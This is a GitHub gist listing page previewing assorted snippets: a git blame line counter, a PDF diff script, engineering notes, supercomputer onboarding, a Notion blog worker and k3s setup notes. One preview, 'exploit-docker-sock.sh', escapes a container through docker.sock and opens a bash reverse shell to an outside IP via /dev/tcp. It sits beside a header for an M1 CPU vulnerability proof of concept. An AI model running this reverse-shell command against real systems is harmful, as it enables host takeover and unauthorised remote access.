Skip to content

Instantly share code, notes, and snippets.

View TheNetAdmin's full-sized avatar

Zixuan Wang TheNetAdmin

View GitHub Profile
@amitchhajer
amitchhajer / Count Code lines
Created January 5, 2013 11:08
Count number of code lines in git repository per user
git ls-files -z | xargs -0n1 git blame -w | perl -n -e '/^.*\((.*?)\s*[\d]{4}/; print $1,"\n"' | sort -f | uniq -c | sort -n
@aculich
aculich / remove-empty-columns.csv
Last active July 6, 2026 05:25
remove-empty-columns
foo bar baz
a 1
b 2
c
4
e 5
@brechtm
brechtm / diffpdf.sh
Last active September 4, 2024 18:52
Page-by-page PDF diff tool
#!/bin/bash
# usage: diffpdf.sh file_1.pdf file_2.pdf
# requirements:
# - ImageMagick
# - Poppler's pdftoppm and pdfinfo tools (works with 0.18.4 and 0.41.0,
# fails with 0.42.0)
# (could be replaced with Ghostscript if speed is
# not important - see commented commands below)

FWIW: I (@rondy) am not the creator of the content shared here, which is an excerpt from Edmond Lau's book. I simply copied and pasted it from another location and saved it as a personal note, before it gained popularity on news.ycombinator.com. Unfortunately, I cannot recall the exact origin of the original source, nor was I able to find the author's name, so I am can't provide the appropriate credits.


Effective Engineer - Notes

What's an Effective Engineer?

@evmasuta
evmasuta / Hsiao_Lab COMET
Last active June 30, 2026 12:36
Hsiao_Lab COMET onboarding
By: Evan Masutani
As of 11 May 2018, the Hsiao lab has been granted computational time on XSEDE/SDSC (San Diego Supercomputer Cluster), specifically
on the COMET shared-gpu resource, which currently boasts a number of K80s and P100s (see https://portal.xsede.org/sdsc-comet).
The purpose of many projects in the Hsiao lab is to apply machine learning principles to solve medical problems, specifically in
the realm of imaging. At the time of writing, the preferred framework developed in-house uses keras with a tensorflow-gpu backend.
That many dependencies are required is an understatement. Furthermore, for reproducibility's sake and the ability to run lab
software across multiple platforms (notably transferring load from lab workstations to the supercomputer cluster), it became
necessary to seamlessly and intuitively port both custom software and associated dependencies between servers.
For experienced users, skip the following section (BACKGROUND) and proceed to TECHNICAL DETAILS
@mayneyao
mayneyao / notion2blog.js
Last active May 25, 2026 05:09
Notion.so > Personal Blog | custom domain + disqus comment
const MY_DOMAIN = "agodrich.com"
const START_PAGE = "https://www.notion.so/gatsby-starter-notion-2c5e3d685aa341088d4cd8daca52fcc2"
const DISQUS_SHORTNAME = "agodrich"
addEventListener('fetch', event => {
event.respondWith(fetchAndApply(event.request))
})
const corsHeaders = {
"Access-Control-Allow-Origin": "*",
@triangletodd
triangletodd / README.md
Last active June 16, 2026 12:23
k3s in LXC on Proxmox

On the host

Ensure these modules are loaded

cat /proc/sys/net/bridge/bridge-nf-call-iptables

Disable swap

sysctl vm.swappiness=0
swapoff -a
@PwnPeter
PwnPeter / exploit-docker-sock.sh
Created December 6, 2020 16:30
Exploit docker.sock to mount root filesystem in a container
#!/bin/bash
# you can see images availables with
# curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
# here we have sandbox:latest
# command executed when container is started
# change dir to tmp where the root fs is mount and execute reverse shell
cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i &>/dev/tcp/10.10.14.30/12348 0<&1'\\\"\"]"
/*
* m1racle-poc: a basic proof of concept for the M1RACLES vulnerability in the Apple M1.
*
* This program allows you to read and write the state of the s3_5_c15_c10_1 CPU register.
*
* Please visit m1racles.com for more information.
*
* Licensed under the MIT license.
*/